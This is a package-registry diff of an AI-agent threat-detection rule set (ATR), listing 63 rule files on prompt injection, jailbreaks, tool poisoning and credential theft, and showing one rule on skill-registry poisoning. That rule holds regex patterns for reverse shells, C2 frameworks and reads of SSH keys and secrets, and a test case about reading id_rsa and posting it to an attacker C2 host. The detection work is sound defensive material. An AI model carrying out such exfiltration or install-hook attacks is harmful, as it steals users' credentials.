@panguard-ai/atr 1.1.0 → 1.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (63) hide show
  1. package/package.json +11 -10
  2. package/rules/agent-manipulation/ATR-2026-030-cross-agent-attack.yaml +51 -51
  3. package/rules/agent-manipulation/ATR-2026-032-goal-hijacking.yaml +36 -36
  4. package/rules/agent-manipulation/ATR-2026-074-cross-agent-privilege-escalation.yaml +32 -32
  5. package/rules/agent-manipulation/ATR-2026-076-inter-agent-message-spoofing.yaml +55 -55
  6. package/rules/agent-manipulation/ATR-2026-077-human-trust-exploitation.yaml +42 -42
  7. package/rules/agent-manipulation/ATR-2026-116-a2a-message-validation.yaml +90 -0
  8. package/rules/agent-manipulation/ATR-2026-117-agent-identity-spoofing.yaml +90 -0
  9. package/rules/agent-manipulation/ATR-2026-118-approval-fatigue.yaml +87 -0
  10. package/rules/agent-manipulation/ATR-2026-119-social-engineering-via-agent.yaml +87 -0
  11. package/rules/context-exfiltration/ATR-2026-020-system-prompt-leak.yaml +51 -51
  12. package/rules/context-exfiltration/ATR-2026-021-api-key-exposure.yaml +62 -62
  13. package/rules/context-exfiltration/ATR-2026-075-agent-memory-manipulation.yaml +33 -33
  14. package/rules/context-exfiltration/ATR-2026-113-credential-theft.yaml +87 -0
  15. package/rules/context-exfiltration/ATR-2026-114-oauth-token-abuse.yaml +87 -0
  16. package/rules/context-exfiltration/ATR-2026-115-env-var-harvesting.yaml +88 -0
  17. package/rules/data-poisoning/ATR-2026-070-data-poisoning.yaml +53 -53
  18. package/rules/excessive-autonomy/ATR-2026-050-runaway-agent-loop.yaml +39 -39
  19. package/rules/excessive-autonomy/ATR-2026-051-resource-exhaustion.yaml +41 -41
  20. package/rules/excessive-autonomy/ATR-2026-052-cascading-failure.yaml +54 -54
  21. package/rules/excessive-autonomy/ATR-2026-098-unauthorized-financial-action.yaml +54 -54
  22. package/rules/excessive-autonomy/ATR-2026-099-high-risk-tool-gate.yaml +70 -55
  23. package/rules/model-security/ATR-2026-072-model-behavior-extraction.yaml +34 -34
  24. package/rules/model-security/ATR-2026-073-malicious-finetuning-data.yaml +26 -26
  25. package/rules/privilege-escalation/ATR-2026-040-privilege-escalation.yaml +58 -58
  26. package/rules/privilege-escalation/ATR-2026-041-scope-creep.yaml +35 -35
  27. package/rules/privilege-escalation/ATR-2026-110-eval-injection.yaml +90 -0
  28. package/rules/privilege-escalation/ATR-2026-111-shell-escape.yaml +91 -0
  29. package/rules/privilege-escalation/ATR-2026-112-dynamic-import-exploitation.yaml +87 -0
  30. package/rules/prompt-injection/ATR-2026-001-direct-prompt-injection.yaml +118 -10
  31. package/rules/prompt-injection/ATR-2026-002-indirect-prompt-injection.yaml +63 -63
  32. package/rules/prompt-injection/ATR-2026-003-jailbreak-attempt.yaml +221 -76
  33. package/rules/prompt-injection/ATR-2026-004-system-prompt-override.yaml +157 -55
  34. package/rules/prompt-injection/ATR-2026-005-multi-turn-injection.yaml +47 -47
  35. package/rules/prompt-injection/ATR-2026-080-encoding-evasion.yaml +19 -12
  36. package/rules/prompt-injection/ATR-2026-081-semantic-multi-turn.yaml +21 -14
  37. package/rules/prompt-injection/ATR-2026-082-fingerprint-evasion.yaml +20 -13
  38. package/rules/prompt-injection/ATR-2026-083-indirect-tool-injection.yaml +23 -13
  39. package/rules/prompt-injection/ATR-2026-084-structured-data-injection.yaml +21 -14
  40. package/rules/prompt-injection/ATR-2026-085-audit-evasion.yaml +20 -13
  41. package/rules/prompt-injection/ATR-2026-086-visual-spoofing.yaml +20 -13
  42. package/rules/prompt-injection/ATR-2026-087-rule-probing.yaml +20 -13
  43. package/rules/prompt-injection/ATR-2026-088-adaptive-countermeasure.yaml +20 -13
  44. package/rules/prompt-injection/ATR-2026-089-polymorphic-skill.yaml +18 -11
  45. package/rules/prompt-injection/ATR-2026-090-threat-intel-exfil.yaml +20 -13
  46. package/rules/prompt-injection/ATR-2026-091-nested-payload.yaml +20 -13
  47. package/rules/prompt-injection/ATR-2026-092-consensus-poisoning.yaml +22 -15
  48. package/rules/prompt-injection/ATR-2026-093-gradual-escalation.yaml +21 -14
  49. package/rules/prompt-injection/ATR-2026-094-audit-bypass.yaml +20 -13
  50. package/rules/prompt-injection/ATR-2026-097-cjk-injection-patterns.yaml +230 -73
  51. package/rules/skill-compromise/ATR-2026-060-skill-impersonation.yaml +53 -53
  52. package/rules/skill-compromise/ATR-2026-061-description-behavior-mismatch.yaml +21 -21
  53. package/rules/skill-compromise/ATR-2026-062-hidden-capability.yaml +22 -22
  54. package/rules/skill-compromise/ATR-2026-063-skill-chain-attack.yaml +21 -21
  55. package/rules/skill-compromise/ATR-2026-064-over-permissioned-skill.yaml +29 -29
  56. package/rules/skill-compromise/ATR-2026-065-skill-update-attack.yaml +22 -22
  57. package/rules/skill-compromise/ATR-2026-066-parameter-injection.yaml +23 -23
  58. package/rules/tool-poisoning/ATR-2026-010-mcp-malicious-response.yaml +70 -70
  59. package/rules/tool-poisoning/ATR-2026-011-tool-output-injection.yaml +60 -51
  60. package/rules/tool-poisoning/ATR-2026-012-unauthorized-tool-call.yaml +67 -58
  61. package/rules/tool-poisoning/ATR-2026-013-tool-ssrf.yaml +72 -63
  62. package/rules/tool-poisoning/ATR-2026-095-supply-chain-poisoning.yaml +23 -13
  63. package/rules/tool-poisoning/ATR-2026-096-registry-poisoning.yaml +23 -13
@@ -1,4 +1,4 @@
1
- title: 'Skill Registry Poisoning and Compromised Tool Distribution'
1
+ title: "Skill Registry Poisoning and Compromised Tool Distribution"
2
2
  id: ATR-2026-096
3
3
  status: draft
4
4
  description: >
@@ -7,18 +7,18 @@ description: >
7
7
  inject backdoors into published skills, or create typosquatting tool
8
8
  names to distribute poisoned tools that execute malicious actions
9
9
  when installed or invoked by agents.
10
- author: 'ATR Community (MiroFish Predicted)'
11
- date: '2026/03/11'
12
- schema_version: '0.1'
10
+ author: "ATR Community (MiroFish Predicted)"
11
+ date: "2026/03/11"
12
+ schema_version: "0.1"
13
13
  detection_tier: pattern
14
14
  maturity: test
15
15
  severity: critical
16
16
 
17
17
  references:
18
18
  mitre_atlas:
19
- - 'AML.T0056'
19
+ - "AML.T0056"
20
20
  mitre_attack:
21
- - 'T0056'
21
+ - "T0056"
22
22
 
23
23
  tags:
24
24
  category: tool-poisoning
@@ -37,28 +37,29 @@ detection:
37
37
  - field: tool_response
38
38
  operator: regex
39
39
  value: "(?i)(post_?install|pre_?install|setup\\.py|__init__\\.py)\\s*.{0,30}(exec|eval|os\\.|subprocess|import\\s+socket|import\\s+requests\\.post)"
40
- description: 'Malicious execution hooks in install scripts from tool packages'
40
+ description: "Malicious execution hooks in install scripts from tool packages"
41
41
  - field: tool_response
42
42
  operator: regex
43
43
  value: "(?i)\\b(reverse.?shell|bind.?shell|meterpreter|cobalt.?strike|beacon|c2.?server|command.?and.?control)\\b"
44
- description: 'Known malware/C2 framework references in tool response'
44
+ description: "Known malware/C2 framework references in tool response"
45
45
  - field: tool_response
46
46
  operator: regex
47
47
  value: "(?i)(\\bSocket\\s*\\(|net\\.connect|new\\s+WebSocket|XMLHttpRequest|fetch\\s*\\()\\s*.{0,30}(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}|attacker|evil|malicious|c2|ngrok)"
48
- description: 'Outbound network connections to suspicious destinations'
48
+ description: "Outbound network connections to suspicious destinations"
49
49
  - field: tool_response
50
50
  operator: regex
51
51
  value: "(?i)(process\\.env|os\\.environ|System\\.getenv|ENV\\[)\\s*.{0,10}(API.?KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|PRIVATE.?KEY)"
52
- description: 'Environment variable access targeting secrets and credentials'
52
+ description: "Environment variable access targeting secrets and credentials"
53
53
  - field: tool_response
54
54
  operator: regex
55
55
  value: "(?i)\\b(fs\\.read|open\\s*\\(|File\\.read|readFile)\\s*.{0,30}(\\.ssh|id_rsa|\\.aws|credentials|\\.env|shadow|passwd|config\\.json|secrets?\\.)"
56
- description: 'Reading sensitive system files or credential stores'
56
+ description: "Reading sensitive system files or credential stores"
57
57
 
58
58
  condition: any
59
59
 
60
+
60
61
  false_positives:
61
- - 'Legitimate security audit tools that check for credential exposure'
62
+ - "Legitimate security audit tools that check for credential exposure"
62
63
 
63
64
  response:
64
65
  actions:
@@ -79,5 +80,14 @@ test_cases:
79
80
  - tool_response: "Tool code reads: open('/home/user/.ssh/id_rsa').read() and posts to https://c2.attacker.com"
80
81
  expected: triggered
81
82
  true_negatives:
82
- - tool_response: 'Tool reads config.json for database connection string and returns query results'
83
+ - tool_response: "Tool reads config.json for database connection string and returns query results"
84
+ expected: not_triggered
85
+ - tool_response: "Registry lookup: package 'lodash' version 4.17.21 found. License: MIT. Downloads: 45M/week."
86
+ expected: not_triggered
87
+ description: "Normal registry package lookup result"
88
+ - tool_response: "Dependency tree resolved: 142 packages, 0 conflicts. All versions satisfy semver constraints."
89
+ expected: not_triggered
90
+ description: "Normal dependency resolution output"
91
+ - tool_response: "Tool verified: SHA-256 checksum matches published hash. Signature valid. Author: verified-publisher."
83
92
  expected: not_triggered
93
+ description: "Normal tool verification and integrity check output"